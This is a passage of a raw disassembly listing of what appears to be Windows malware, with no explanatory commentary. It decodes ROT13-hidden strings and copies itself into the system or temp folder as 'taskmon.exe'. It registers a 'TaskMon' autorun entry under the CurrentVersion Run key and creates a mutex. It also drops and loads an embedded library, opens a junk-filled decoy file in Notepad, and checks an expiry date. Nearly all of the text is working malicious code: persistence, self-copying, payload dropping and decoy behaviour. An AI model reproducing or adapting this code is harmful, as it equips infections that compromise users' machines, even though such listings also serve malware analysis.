  1378. loc_4A3992:                ; CODE XREF: sub_4A3962+D6j
  1379.         cmp    [ebp+arg_0], edi
  1380.         lea    eax, [ebp+FileName]
  1381.         jnz    short loc_4A39AB
  1382.         push    118h        ; uSize
  1383.         push    eax        ; lpBuffer
  1384.         call    ds:GetSystemDirectoryA
  1385.         jmp    short loc_4A39B7
  1386. ; ───────────────────────────────────────────────────────────────────────────
  1387.  
  1388. loc_4A39AB:                ; CODE XREF: sub_4A3962+39j
  1389.         push    eax        ; lpBuffer
  1390.         push    118h        ; nBufferLength
  1391.         call    ds:GetTempPathA
  1392.  
  1393. loc_4A39B7:                ; CODE XREF: sub_4A3962+47j
  1394.         cmp    [ebp+FileName],    0
  1395.         jz    short loc_4A3A31
  1396.         lea    eax, [ebp+FileName]
  1397.         push    eax        ; lpString
  1398.         call    ds:lstrlenA
  1399.         lea    ecx, [ebp+FileName]
  1400.         dec    ecx
  1401.         cmp    byte ptr [eax+ecx], 5Ch
  1402.         jz    short loc_4A39E8
  1403.         lea    eax, [ebp+FileName]
  1404.         push    offset String2    ; lpString2
  1405.         push    eax        ; lpString1
  1406.         call    ebx ; lstrcatA
  1407.  
  1408. loc_4A39E8:                ; CODE XREF: sub_4A3962+76j
  1409.         lea    eax, [ebp+String2]
  1410.         push    eax        ; lpString2
  1411.         lea    eax, [ebp+FileName]
  1412.         push    eax        ; lpString1
  1413.         call    ebx ; lstrcatA
  1414.         push    edi        ; hTemplateFile
  1415.         push    80h        ; dwFlagsAndAttributes
  1416.         push    2        ; dwCreationDisposition
  1417.         push    edi        ; lpSecurityAttributes
  1418.         push    3        ; dwShareMode
  1419.         lea    eax, [ebp+FileName]
  1420.         push    40000000h    ; dwDesiredAccess
  1421.         push    eax        ; lpFileName
  1422.         call    ds:CreateFileA
  1423.         mov    edi, eax
  1424.         test    edi, edi
  1425.         jz    short loc_4A3A1D
  1426.         cmp    edi, 0FFFFFFFFh
  1427.         jnz    short loc_4A3A40
  1428.  
  1429. loc_4A3A1D:                ; CODE XREF: sub_4A3962+B4j
  1430.         lea    eax, [ebp+FileName]
  1431.         push    eax        ; lpFileName
  1432.         call    ds:GetFileAttributesA
  1433.         cmp    eax, 0FFFFFFFFh
  1434.         jnz    short loc_4A3A66
  1435.         xor    edi, edi
  1436.  
  1437. loc_4A3A31:                ; CODE XREF: sub_4A3962+5Cj
  1438.         inc    [ebp+arg_0]
  1439.         cmp    [ebp+arg_0], 2
  1440.         jl    loc_4A3992
  1441.         jmp    short loc_4A3A81
  1442. ; ───────────────────────────────────────────────────────────────────────────
  1443.  
  1444. loc_4A3A40:                ; CODE XREF: sub_4A3962+B9j
  1445.         push    edi        ; hFile
  1446.         push    1000h        ; int
  1447.         push    offset dword_4A1400 ; int
  1448.         call    sub_4A38E0
  1449.         add    esp, 0Ch
  1450.         push    edi        ; hObject
  1451.         call    ds:CloseHandle
  1452.         mov    dword ptr [esi+10Ch], 1
  1453.         jmp    short loc_4A3A70
  1454. ; ───────────────────────────────────────────────────────────────────────────
  1455.  
  1456. loc_4A3A66:                ; CODE XREF: sub_4A3962+CBj
  1457.         mov    dword ptr [esi+10Ch], 2
  1458.  
  1459. loc_4A3A70:                ; CODE XREF: sub_4A3962+102j
  1460.         lea    eax, [ebp+FileName]
  1461.         push    eax        ; lpString2
  1462.         lea    eax, [esi+8]
  1463.         push    eax        ; lpString1
  1464.         call    ds:lstrcpyA
  1465.  
  1466. loc_4A3A81:                ; CODE XREF: sub_4A3962+DCj
  1467.         cmp    dword ptr [esi+10Ch], 1
  1468.         jnz    short loc_4A3A9E
  1469.         lea    eax, [esi+8]
  1470.         push    eax        ; lpLibFileName
  1471.         call    ds:LoadLibraryA
  1472.         mov    dword ptr [esi+10Ch], 2
  1473.  
  1474. loc_4A3A9E:                ; CODE XREF: sub_4A3962+126j
  1475.         pop    edi
  1476.         pop    esi
  1477.         pop    ebx
  1478.         leave
  1479.         retn
  1480. sub_4A3962    endp
  1481.  
  1482.  
  1483. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  1484.  
  1485.  
  1486. sub_4A3AA3    proc near        ; CODE XREF: main+14p
  1487.  
  1488. var_74        = byte ptr -74h
  1489.  
  1490.         push    ebp
  1491.         lea    ebp, [esp+var_74]
  1492.         sub    esp, 88h
  1493.         push    ebx
  1494.         push    esi
  1495.         push    edi
  1496.         lea    eax, [ebp-14h]
  1497.         push    offset aFbsgjnerZvpebf ; "Fbsgjner\\Zvpebfbsg\\Jvaqbjf\\PheeragIrefv"...
  1498.         push    eax
  1499.         call    sub_4A465E
  1500.         mov    edi, [ebp+7Ch]
  1501.         pop    ecx
  1502.         xor    ebx, ebx
  1503.         pop    ecx
  1504.         mov    [edi], ebx
  1505.         mov    [ebp+7Fh], bl
  1506.         mov    esi, 80000002h
  1507.  
  1508. loc_4A3AD0:                ; CODE XREF: sub_4A3AA3+56j
  1509.         lea    eax, [ebp+70h]
  1510.         push    eax        ; phkResult
  1511.         push    20019h        ; samDesired
  1512.         lea    eax, [ebp-14h]
  1513.         push    ebx        ; ulOptions
  1514.         push    eax        ; lpSubKey
  1515.         mov    al, [ebp+7Fh]
  1516.         neg    al
  1517.         sbb    eax, eax
  1518.         add    eax, esi
  1519.         push    eax        ; hKey
  1520.         call    ds:RegOpenKeyExA
  1521.         test    eax, eax
  1522.         jz    short loc_4A3B47
  1523.         inc    byte ptr [ebp+7Fh]
  1524.         cmp    byte ptr [ebp+7Fh], 2
  1525.         jl    short loc_4A3AD0
  1526.         mov    dword ptr [edi], 1
  1527.         mov    [ebp+7Fh], bl
  1528.  
  1529. loc_4A3B04:                ; CODE XREF: sub_4A3AA3+9Aj
  1530.         lea    eax, [ebp+6Ch]
  1531.         push    eax        ; lpdwDisposition
  1532.         lea    eax, [ebp+70h]
  1533.         push    eax        ; phkResult
  1534.         push    ebx        ; lpSecurityAttributes
  1535.         push    20006h        ; samDesired
  1536.         push    ebx        ; dwOptions
  1537.         push    ebx        ; lpClass
  1538.         lea    eax, [ebp-14h]
  1539.         push    ebx        ; Reserved
  1540.         push    eax        ; lpSubKey
  1541.         mov    al, [ebp+7Fh]
  1542.         neg    al
  1543.         sbb    eax, eax
  1544.         add    eax, esi
  1545.         push    eax        ; hKey
  1546.         call    ds:RegCreateKeyExA
  1547.         test    eax, eax
  1548.         jnz    short loc_4A3B36
  1549.         push    dword ptr [ebp+70h]
  1550.         call    ds:RegCloseKey
  1551.  
  1552. loc_4A3B36:                ; CODE XREF: sub_4A3AA3+88j
  1553.         inc    byte ptr [ebp+7Fh]
  1554.         cmp    byte ptr [ebp+7Fh], 2
  1555.         jl    short loc_4A3B04
  1556.  
  1557. loc_4A3B3F:                ; CODE XREF: sub_4A3AA3+ADj
  1558.         pop    edi
  1559.         pop    esi
  1560.         pop    ebx
  1561.         add    ebp, 74h
  1562.         leave
  1563.         retn
  1564. ; ───────────────────────────────────────────────────────────────────────────
  1565.  
  1566. loc_4A3B47:                ; CODE XREF: sub_4A3AA3+4Dj
  1567.         push    dword ptr [ebp+70h]
  1568.         call    ds:RegCloseKey
  1569.         jmp    short loc_4A3B3F
  1570. sub_4A3AA3    endp
  1571.  
  1572.  
  1573. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  1574.  
  1575. ; Attributes: bp-based frame
  1576.  
  1577. sub_4A3B52    proc near        ; CODE XREF: main+27p
  1578.  
  1579. Name        = byte ptr -40h
  1580.  
  1581.         push    ebp
  1582.         mov    ebp, esp
  1583.         sub    esp, 40h
  1584.         lea    eax, [ebp+Name]
  1585.         push    offset aFjrofvcpfzgkf0 ; "FjroFvcpFzgkF0"
  1586.         push    eax
  1587.         call    sub_4A465E
  1588.         pop    ecx
  1589.         lea    eax, [ebp+Name]
  1590.         pop    ecx
  1591.         push    eax        ; lpName
  1592.         push    1        ; bInitialOwner
  1593.         push    0        ; lpMutexAttributes
  1594.         call    ds:CreateMutexA
  1595.         call    ds:GetLastError
  1596.         sub    eax, 0B7h
  1597.         neg    eax
  1598.         sbb    eax, eax
  1599.         inc    eax
  1600.         leave
  1601.         retn
  1602. sub_4A3B52    endp
  1603.  
  1604.  
  1605. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  1606.  
  1607. ; Attributes: bp-based frame
  1608.  
  1609. sub_4A3B88    proc near        ; CODE XREF: main+57p
  1610.  
  1611. ExistingFileName= byte ptr -234h
  1612. String2        = byte ptr -130h
  1613. var_18        = byte ptr -18h
  1614. lpString1    = dword    ptr -4
  1615. arg_0        = dword    ptr  8
  1616.  
  1617.         push    ebp
  1618.         mov    ebp, esp
  1619.         sub    esp, 234h
  1620.         push    ebx
  1621.         push    esi
  1622.         push    edi
  1623.         lea    eax, [ebp+var_18]
  1624.         push    offset aGnfxzba_rkr ; "gnfxzba.rkr"
  1625.         push    eax
  1626.         call    sub_4A465E
  1627.         pop    ecx
  1628.         lea    eax, [ebp+ExistingFileName]
  1629.         pop    ecx
  1630.         xor    ebx, ebx
  1631.         push    104h        ; nSize
  1632.         push    eax        ; lpFilename
  1633.         push    ebx        ; hModule
  1634.         call    ds:GetModuleFileNameA
  1635.         mov    eax, [ebp+arg_0]
  1636.         mov    edi, ds:lstrcpyA
  1637.         lea    ecx, [ebp+ExistingFileName]
  1638.         add    eax, 110h
  1639.         push    ecx        ; lpString2
  1640.         push    eax        ; lpString1
  1641.         mov    [ebp+lpString1], eax
  1642.         call    edi ; lstrcpyA
  1643.         mov    esi, ds:lstrcatA
  1644.         mov    [ebp+arg_0], ebx
  1645.  
  1646. loc_4A3BDD:                ; CODE XREF: sub_4A3B88+136j
  1647.         cmp    [ebp+arg_0], ebx
  1648.         lea    eax, [ebp+String2]
  1649.         jnz    short loc_4A3BF6
  1650.         push    118h        ; uSize
  1651.         push    eax        ; lpBuffer
  1652.         call    ds:GetSystemDirectoryA
  1653.         jmp    short loc_4A3C02
  1654. ; ───────────────────────────────────────────────────────────────────────────
  1655.  
  1656. loc_4A3BF6:                ; CODE XREF: sub_4A3B88+5Ej
  1657.         push    eax        ; lpBuffer
  1658.         push    118h        ; nBufferLength
  1659.         call    ds:GetTempPathA
  1660.  
  1661. loc_4A3C02:                ; CODE XREF: sub_4A3B88+6Cj
  1662.         cmp    [ebp+String2], bl
  1663.         jz    loc_4A3CB7
  1664.         lea    eax, [ebp+String2]
  1665.         push    eax        ; lpString
  1666.         call    ds:lstrlenA
  1667.         lea    ecx, [ebp+String2]
  1668.         dec    ecx
  1669.         cmp    byte ptr [eax+ecx], 5Ch
  1670.         jz    short loc_4A3C36
  1671.         lea    eax, [ebp+String2]
  1672.         push    offset String2    ; lpString2
  1673.         push    eax        ; lpString1
  1674.         call    esi ; lstrcatA
  1675.  
  1676. loc_4A3C36:                ; CODE XREF: sub_4A3B88+9Ej
  1677.         lea    eax, [ebp+var_18]
  1678.         push    eax        ; lpString2
  1679.         lea    eax, [ebp+String2]
  1680.         push    eax        ; lpString1
  1681.         call    esi ; lstrcatA
  1682.         lea    eax, [ebp+String2]
  1683.         push    20h        ; dwFileAttributes
  1684.         push    eax        ; lpFileName
  1685.         call    ds:SetFileAttributesA
  1686.         push    ebx        ; hTemplateFile
  1687.         push    80h        ; dwFlagsAndAttributes
  1688.         push    2        ; dwCreationDisposition
  1689.         push    ebx        ; lpSecurityAttributes
  1690.         push    3        ; dwShareMode
  1691.         lea    eax, [ebp+String2]
  1692.         push    40000000h    ; dwDesiredAccess
  1693.         push    eax        ; lpFileName
  1694.         call    ds:CreateFileA
  1695.         cmp    eax, ebx
  1696.         jz    short loc_4A3CA5
  1697.         cmp    eax, 0FFFFFFFFh
  1698.         jz    short loc_4A3CA5
  1699.         push    eax        ; hObject
  1700.         call    ds:CloseHandle
  1701.         lea    eax, [ebp+String2]
  1702.         push    eax        ; lpFileName
  1703.         call    ds:DeleteFileA
  1704.         lea    eax, [ebp+String2]
  1705.         push    ebx        ; bFailIfExists
  1706.         push    eax        ; lpNewFileName
  1707.         lea    eax, [ebp+ExistingFileName]
  1708.         push    eax        ; lpExistingFileName
  1709.         call    ds:CopyFileA
  1710.         test    eax, eax
  1711.         jmp    short loc_4A3CB5
  1712. ; ───────────────────────────────────────────────────────────────────────────
  1713.  
  1714. loc_4A3CA5:                ; CODE XREF: sub_4A3B88+E9j
  1715.                     ; sub_4A3B88+EEj
  1716.         lea    eax, [ebp+String2]
  1717.         push    eax        ; lpFileName
  1718.         call    ds:GetFileAttributesA
  1719.         cmp    eax, 0FFFFFFFFh
  1720.  
  1721. loc_4A3CB5:                ; CODE XREF: sub_4A3B88+11Bj
  1722.         jnz    short loc_4A3CC6
  1723.  
  1724. loc_4A3CB7:                ; CODE XREF: sub_4A3B88+80j
  1725.         inc    [ebp+arg_0]
  1726.         cmp    [ebp+arg_0], 2
  1727.         jl    loc_4A3BDD
  1728.         jmp    short loc_4A3CD2
  1729. ; ───────────────────────────────────────────────────────────────────────────
  1730.  
  1731. loc_4A3CC6:                ; CODE XREF: sub_4A3B88+12Dj
  1732.         lea    eax, [ebp+String2]
  1733.         push    eax        ; lpString2
  1734.         push    [ebp+lpString1]    ; lpString1
  1735.         call    edi ; lstrcpyA
  1736.  
  1737. loc_4A3CD2:                ; CODE XREF: sub_4A3B88+13Cj
  1738.         pop    edi
  1739.         pop    esi
  1740.         pop    ebx
  1741.         leave
  1742.         retn
  1743. sub_4A3B88    endp
  1744.  
  1745.  
  1746. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  1747.  
  1748.  
  1749. sub_4A3CD7    proc near        ; CODE XREF: main+5Dp
  1750.  
  1751. var_74        = byte ptr -74h
  1752.  
  1753.         push    ebp
  1754.         lea    ebp, [esp+var_74]
  1755.         sub    esp, 0A4h
  1756.         push    esi
  1757.         push    edi
  1758.         lea    eax, [ebp-30h]
  1759.         push    offset aFbsgjnerZvpe_0 ; "Fbsgjner\\Zvpebfbsg\\Jvaqbjf\\PheeragIrefv"...
  1760.         push    eax
  1761.         call    sub_4A465E
  1762.         lea    eax, [ebp+50h]
  1763.         push    offset aGnfxzba    ; "GnfxZba"
  1764.         push    eax
  1765.         call    sub_4A465E
  1766.         mov    esi, ds:RegOpenKeyExA
  1767.         add    esp, 10h
  1768.         lea    eax, [ebp+70h]
  1769.         mov    edi, 20006h
  1770.         push    eax        ; phkResult
  1771.         push    edi        ; samDesired
  1772.         lea    eax, [ebp-30h]
  1773.         push    0        ; ulOptions
  1774.         push    eax        ; lpSubKey
  1775.         push    80000002h    ; hKey
  1776.         call    esi ; RegOpenKeyExA
  1777.         test    eax, eax
  1778.         jz    short loc_4A3D3A
  1779.         lea    eax, [ebp+70h]
  1780.         push    eax        ; phkResult
  1781.         push    edi        ; samDesired
  1782.         lea    eax, [ebp-30h]
  1783.         push    0        ; ulOptions
  1784.         push    eax        ; lpSubKey
  1785.         push    80000001h    ; hKey
  1786.         call    esi ; RegOpenKeyExA
  1787.         test    eax, eax
  1788.         jnz    short loc_4A3D67
  1789.  
  1790. loc_4A3D3A:                ; CODE XREF: sub_4A3CD7+4Bj
  1791.         mov    esi, [ebp+7Ch]
  1792.         add    esi, 110h
  1793.         push    esi        ; lpString
  1794.         call    ds:lstrlenA
  1795.         inc    eax
  1796.         push    eax        ; cbData
  1797.         push    esi        ; lpData
  1798.         push    1        ; dwType
  1799.         lea    eax, [ebp+50h]
  1800.         push    0        ; Reserved
  1801.         push    eax        ; lpValueName
  1802.         push    dword ptr [ebp+70h] ; hKey
  1803.         call    ds:RegSetValueExA
  1804.         push    dword ptr [ebp+70h]
  1805.         call    ds:RegCloseKey
  1806.  
  1807. loc_4A3D67:                ; CODE XREF: sub_4A3CD7+61j
  1808.         pop    edi
  1809.         pop    esi
  1810.         add    ebp, 74h
  1811.         leave
  1812.         retn
  1813. sub_4A3CD7    endp
  1814.  
  1815.  
  1816. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  1817.  
  1818. ; Attributes: bp-based frame
  1819.  
  1820. sub_4A3D6E    proc near        ; CODE XREF: main+4Bp
  1821.  
  1822. SystemTimeAsFileTime= _FILETIME    ptr -10h
  1823. FileTime    = _FILETIME ptr    -8
  1824. arg_0        = dword    ptr  8
  1825.  
  1826.         push    ebp
  1827.         mov    ebp, esp
  1828.         sub    esp, 10h
  1829.         lea    eax, [ebp+SystemTimeAsFileTime]
  1830.         push    eax        ; lpSystemTimeAsFileTime
  1831.         call    ds:GetSystemTimeAsFileTime
  1832.         lea    eax, [ebp+FileTime]
  1833.         push    eax        ; lpFileTime
  1834.         mov    eax, [ebp+arg_0]
  1835.         add    eax, 224h
  1836.         push    eax        ; lpSystemTime
  1837.         call    ds:SystemTimeToFileTime
  1838.         mov    eax, [ebp+SystemTimeAsFileTime.dwHighDateTime]
  1839.         cmp    eax, [ebp+FileTime.dwHighDateTime]
  1840.         jbe    short loc_4A3D9E
  1841.         xor    eax, eax
  1842.         inc    eax
  1843.         leave
  1844.         retn
  1845. ; ───────────────────────────────────────────────────────────────────────────
  1846.  
  1847. loc_4A3D9E:                ; CODE XREF: sub_4A3D6E+29j
  1848.         jnb    short loc_4A3DA4
  1849.         xor    eax, eax
  1850.         leave
  1851.         retn
  1852. ; ───────────────────────────────────────────────────────────────────────────
  1853.  
  1854. loc_4A3DA4:                ; CODE XREF: sub_4A3D6E+30j
  1855.         mov    eax, [ebp+FileTime.dwLowDateTime]
  1856.         cmp    eax, [ebp+SystemTimeAsFileTime.dwLowDateTime]
  1857.         sbb    eax, eax
  1858.         neg    eax
  1859.         leave
  1860.         retn
  1861. sub_4A3D6E    endp
  1862.  
  1863.  
  1864. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  1865.  
  1866. ; Attributes: bp-based frame
  1867.  
  1868. sub_4A3DB0    proc near        ; CODE XREF: main+63p
  1869.  
  1870. FileTime    = _FILETIME ptr    -10h
  1871. SystemTimeAsFileTime= _FILETIME    ptr -8
  1872. arg_0        = dword    ptr  8
  1873.  
  1874.         push    ebp
  1875.         mov    ebp, esp
  1876.         sub    esp, 10h
  1877.         lea    eax, [ebp+SystemTimeAsFileTime]
  1878.         push    eax        ; lpSystemTimeAsFileTime
  1879.         call    ds:GetSystemTimeAsFileTime
  1880.         lea    eax, [ebp+FileTime]
  1881.         push    eax        ; lpFileTime
  1882.         mov    eax, [ebp+arg_0]
  1883.         add    eax, 214h
  1884.         push    eax        ; lpSystemTime
  1885.         call    ds:SystemTimeToFileTime
  1886.         mov    eax, [ebp+SystemTimeAsFileTime.dwHighDateTime]
  1887.         cmp    eax, [ebp+FileTime.dwHighDateTime]
  1888.         jb    short locret_4A3DF5
  1889.         mov    eax, [ebp+SystemTimeAsFileTime.dwLowDateTime]
  1890.         cmp    eax, [ebp+FileTime.dwLowDateTime]
  1891.         jb    short locret_4A3DF5
  1892.  
  1893. loc_4A3DE3:                ; CODE XREF: sub_4A3DB0+43j
  1894.         call    sub_4A6C3B
  1895.         push    400h        ; dwMilliseconds
  1896.         call    ds:Sleep
  1897.         jmp    short loc_4A3DE3
  1898. ; ───────────────────────────────────────────────────────────────────────────
  1899.  
  1900. locret_4A3DF5:                ; CODE XREF: sub_4A3DB0+29j
  1901.                     ; sub_4A3DB0+31j
  1902.         leave
  1903.         retn
  1904. sub_4A3DB0    endp
  1905.  
  1906.  
  1907. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  1908.  
  1909. ; Attributes: bp-based frame
  1910.  
  1911. ; DWORD    __stdcall StartAddress(LPVOID)
  1912. StartAddress    proc near        ; DATA XREF: main+3Bo
  1913.  
  1914. CommandLine    = byte ptr -464h
  1915. Buffer        = byte ptr -364h
  1916. FileName    = byte ptr -164h
  1917. StartupInfo    = _STARTUPINFOA    ptr -60h
  1918. hHandle        = dword    ptr -1Ch
  1919. NumberOfBytesWritten= dword ptr    -0Ch
  1920. var_8        = dword    ptr -8
  1921. hObject        = dword    ptr -4
  1922.  
  1923.         push    ebp
  1924.         mov    ebp, esp
  1925.         sub    esp, 464h
  1926.         push    ebx
  1927.         push    esi
  1928.         lea    eax, [ebp+FileName]
  1929.         push    edi
  1930.         xor    ebx, ebx
  1931.         push    eax        ; lpBuffer
  1932.         push    104h        ; nBufferLength
  1933.         mov    [ebp+FileName],    bl
  1934.         call    ds:GetTempPathA
  1935.         cmp    [ebp+FileName],    bl
  1936.         jz    loc_4A3FA9
  1937.         lea    eax, [ebp+FileName]
  1938.         push    eax        ; lpString
  1939.         call    ds:lstrlenA
  1940.         mov    esi, ds:lstrcatA
  1941.         lea    ecx, [ebp+FileName]
  1942.         dec    ecx
  1943.         cmp    byte ptr [eax+ecx], 5Ch
  1944.         jz    short loc_4A3E57
  1945.         lea    eax, [ebp+FileName]
  1946.         push    offset String2    ; lpString2
  1947.         push    eax        ; lpString1
  1948.         call    esi ; lstrcatA
  1949.  
  1950. loc_4A3E57:                ; CODE XREF: StartAddress+50j
  1951.         lea    eax, [ebp+FileName]
  1952.         push    offset aMessage    ; lpString2
  1953.         push    eax        ; lpString1
  1954.         call    esi ; lstrcatA
  1955.         push    ebx        ; hTemplateFile
  1956.         push    80h        ; dwFlagsAndAttributes
  1957.         push    2        ; dwCreationDisposition
  1958.         push    ebx        ; lpSecurityAttributes
  1959.         push    3        ; dwShareMode
  1960.         lea    eax, [ebp+FileName]
  1961.         push    0C0000000h    ; dwDesiredAccess
  1962.         push    eax        ; lpFileName
  1963.         call    ds:CreateFileA
  1964.         cmp    eax, ebx
  1965.         mov    [ebp+hObject], eax
  1966.         jz    loc_4A3F94
  1967.         cmp    eax, 0FFFFFFFFh
  1968.         jz    loc_4A3F94
  1969.         mov    esi, ds:WriteFile
  1970.         xor    edi, edi
  1971.         mov    [ebp+var_8], 1000h
  1972.  
  1973. loc_4A3EA5:                ; CODE XREF: StartAddress+111j
  1974.         cmp    edi, 1FCh
  1975.         jb    short loc_4A3EC5
  1976.         lea    eax, [ebp+NumberOfBytesWritten]
  1977.         push    ebx        ; lpOverlapped
  1978.         push    eax        ; lpNumberOfBytesWritten
  1979.         lea    eax, [ebp+Buffer]
  1980.         push    200h        ; nNumberOfBytesToWrite
  1981.         push    eax        ; lpBuffer
  1982.         push    [ebp+hObject]    ; hFile
  1983.         call    esi ; WriteFile
  1984.         xor    edi, edi
  1985.  
  1986. loc_4A3EC5:                ; CODE XREF: StartAddress+B4j
  1987.         call    sub_4A4221
  1988.         movzx    eax, ax
  1989.         push    4Ch
  1990.         cdq
  1991.         pop    ecx
  1992.         idiv    ecx
  1993.         test    edx, edx
  1994.         jnz    short loc_4A3EEA
  1995.         mov    [ebp+edi+Buffer], 0Dh
  1996.         inc    edi
  1997.         mov    [ebp+edi+Buffer], 0Ah
  1998.         jmp    short loc_4A3F04
  1999. ; ───────────────────────────────────────────────────────────────────────────
  2000.  
  2001. loc_4A3EEA:                ; CODE XREF: StartAddress+DEj
  2002.         call    sub_4A4221
  2003.         movzx    eax, ax
  2004.         cdq
  2005.         mov    ecx, 0EFh
  2006.         idiv    ecx
  2007.         add    dl, 10h
  2008.         mov    [ebp+edi+Buffer], dl
  2009.  
  2010. loc_4A3F04:                ; CODE XREF: StartAddress+F1j
  2011.         inc    edi
  2012.         dec    [ebp+var_8]
  2013.         jnz    short loc_4A3EA5
  2014.         cmp    edi, ebx
  2015.         jz    short loc_4A3F20
  2016.         lea    eax, [ebp+NumberOfBytesWritten]
  2017.         push    ebx        ; lpOverlapped
  2018.         push    eax        ; lpNumberOfBytesWritten
  2019.         lea    eax, [ebp+Buffer]
  2020.         push    edi        ; nNumberOfBytesToWrite
  2021.         push    eax        ; lpBuffer
  2022.         push    [ebp+hObject]    ; hFile
  2023.         call    esi ; WriteFile
  2024.  
  2025. loc_4A3F20:                ; CODE XREF: StartAddress+115j
  2026.         push    [ebp+hObject]    ; hObject
  2027.         mov    esi, ds:CloseHandle
  2028.         call    esi ; CloseHandle
  2029.         lea    eax, [ebp+FileName]
  2030.         push    eax
  2031.         lea    eax, [ebp+CommandLine]
  2032.         push    offset aNotepadS ; "notepad %s"
  2033.         push    eax
  2034.         call    ds:wsprintfA
  2035.         push    44h
  2036.         lea    eax, [ebp+StartupInfo]
  2037.         pop    edi
  2038.         push    edi
  2039.         push    ebx
  2040.         push    eax
  2041.         call    memset
  2042.         add    esp, 18h
  2043.         lea    ecx, [ebp+hHandle]
  2044.         xor    eax, eax
  2045.         mov    [ebp+StartupInfo.cb], edi
  2046.         push    ecx        ; lpProcessInformation
  2047.         lea    ecx, [ebp+StartupInfo]
  2048.         push    ecx        ; lpStartupInfo
  2049.         push    ebx        ; lpCurrentDirectory
  2050.         inc    eax
  2051.         push    ebx        ; lpEnvironment
  2052.         push    ebx        ; dwCreationFlags
  2053.         mov    [ebp+StartupInfo.dwFlags], eax
  2054.         push    eax        ; bInheritHandles
  2055.         push    ebx        ; lpThreadAttributes
  2056.         lea    eax, [ebp+CommandLine]
  2057.         push    ebx        ; lpProcessAttributes
  2058.         push    eax        ; lpCommandLine
  2059.         push    ebx        ; lpApplicationName
  2060.         mov    [ebp+StartupInfo.wShowWindow], 5
  2061.         call    ds:CreateProcessA
  2062.         test    eax, eax
  2063.         jz    short loc_4A3F94
  2064.         push    0FFFFFFFFh    ; dwMilliseconds
  2065.         push    [ebp+hHandle]    ; hHandle
  2066.         call    ds:WaitForSingleObject
  2067.         push    [ebp+hHandle]    ; hObject
  2068.         call    esi ; CloseHandle
  2069.  
  2070. loc_4A3F94:                ; CODE XREF: StartAddress+90j
  2071.                     ; StartAddress+99j ...
  2072.         cmp    [ebp+FileName],    bl
  2073.         jz    short loc_4A3FA9
  2074.         lea    eax, [ebp+FileName]
  2075.         push    eax        ; lpFileName
  2076.         call    ds:DeleteFileA
  2077.  
  2078. loc_4A3FA9:                ; CODE XREF: StartAddress+2Cj
  2079.                     ; StartAddress+1A3j
  2080.         push    ebx        ; dwExitCode
  2081.         call    ds:ExitThread
  2082.         int    3        ; Trap to Debugger
  2083. StartAddress    endp
  2084.  
  2085.  
  2086. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  2087.  
  2088. ; Attributes: bp-based frame
  2089.  
  2090. main        proc near        ; CODE XREF: start+51p
  2091.  
  2092. ThreadId    = dword    ptr -4
  2093. arg_0        = dword    ptr  8
  2094.  
  2095.         push    ebp
  2096.         mov    ebp, esp
  2097.         push    ecx
  2098.         push    ebx
  2099.         push    esi
  2100.         push    edi
  2101.         call    ds:GetTickCount
  2102.         mov    esi, [ebp+arg_0]
  2103.         push    esi
  2104.         mov    [esi+4], eax
  2105.         call    sub_4A3AA3
  2106.         mov    ebx, ds:CreateThread
  2107.         xor    edi, edi
  2108.         cmp    [esi], edi
  2109.         pop    ecx
  2110.         jnz    short loc_4A3FE6
  2111.         push    esi
  2112.         call    sub_4A3B52
  2113.         test    eax, eax
  2114.         pop    ecx
  2115.         jnz    short loc_4A404C
  2116.         cmp    [esi], edi
  2117.         jz    short loc_4A3FF5
  2118.  
  2119. loc_4A3FE6:                ; CODE XREF: main+24j
  2120.         lea    eax, [ebp+ThreadId]
  2121.         push    eax        ; lpThreadId
  2122.         push    edi        ; dwCreationFlags
  2123.         push    edi        ; lpParameter
  2124.         push    offset StartAddress ; lpStartAddress
  2125.         push    edi        ; dwStackSize
  2126.         push    edi        ; lpThreadAttributes
  2127.         call    ebx ; CreateThread
  2128.  
  2129. loc_4A3FF5:                ; CODE XREF: main+33j
  2130.         push    esi
  2131.         call    sub_4A3962
  2132.         push    esi
  2133.         call    sub_4A3D6E
  2134.         pop    ecx
  2135.         test    eax, eax
  2136.         pop    ecx
  2137.         jnz    short loc_4A404C
  2138.         push    esi
  2139.         call    sub_4A3B88
  2140.         push    esi
  2141.         call    sub_4A3CD7
  2142.         push    esi
  2143.         call    sub_4A3DB0
  2144.         add    esp, 0Ch
  2145.         call    sub_4A48B6
  2146.         call    sub_4A5CC7
  2147.         lea    eax, [ebp+ThreadId]
  2148.         push    eax        ; lpThreadId
  2149.         push    edi        ; dwCreationFlags
  2150.         push    edi        ; lpParameter
  2151.         push    offset dword_4A5CD9 ; lpStartAddress
  2152.         push    edi        ; dwStackSize
  2153.         push    edi        ; lpThreadAttributes
  2154.         call    ebx ; CreateThread
  2155.         call    sub_4A6132
  2156.  
  2157. loc_4A403A:                ; CODE XREF: main+99j
  2158.         call    sub_4A6645
  2159.         push    400h        ; dwMilliseconds
  2160.         call    ds:Sleep
  2161.         jmp    short loc_4A403A
  2162. ; ───────────────────────────────────────────────────────────────────────────
  2163.  
  2164. loc_4A404C:                ; CODE XREF: main+2Fj main+54j
  2165.         pop    edi
  2166.         pop    esi
  2167.         pop    ebx
  2168.         leave
  2169.         retn
  2170. main        endp
  2171.  
  2172.  
  2173. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  2174.  
  2175. ; Attributes: bp-based frame
  2176.  
  2177.         public start
  2178. start        proc near
  2179.  
  2180. var_3C4        = byte ptr -3C4h
  2181. var_234        = byte ptr -234h
  2182. var_20        = byte ptr -20h
  2183. var_10        = byte ptr -10h
  2184.  
  2185.         push    ebp
  2186.         mov    ebp, esp
  2187.         sub    esp, 3C4h
  2188.         push    esi
  2189.         push    edi
  2190.         call    sub_4A4215
  2191.         lea    eax, [ebp+var_3C4]
  2192.         push    eax
  2193.         push    2
  2194.         call    ds:WS2_32_115
  2195.         push    234h
  2196.         lea    eax, [ebp+var_234]
  2197.         push    0
  2198.         push    eax
  2199.         call    memset
  2200.         mov    esi, offset dword_4A2428
  2201.         lea    edi, [ebp+var_10]
  2202.         movsd
  2203.         movsd
  2204.         movsd
  2205.         movsd
  2206.         mov    esi, offset dword_4A2438
  2207.         lea    edi, [ebp+var_20]
  2208.         movsd
  2209.         movsd
  2210.         movsd
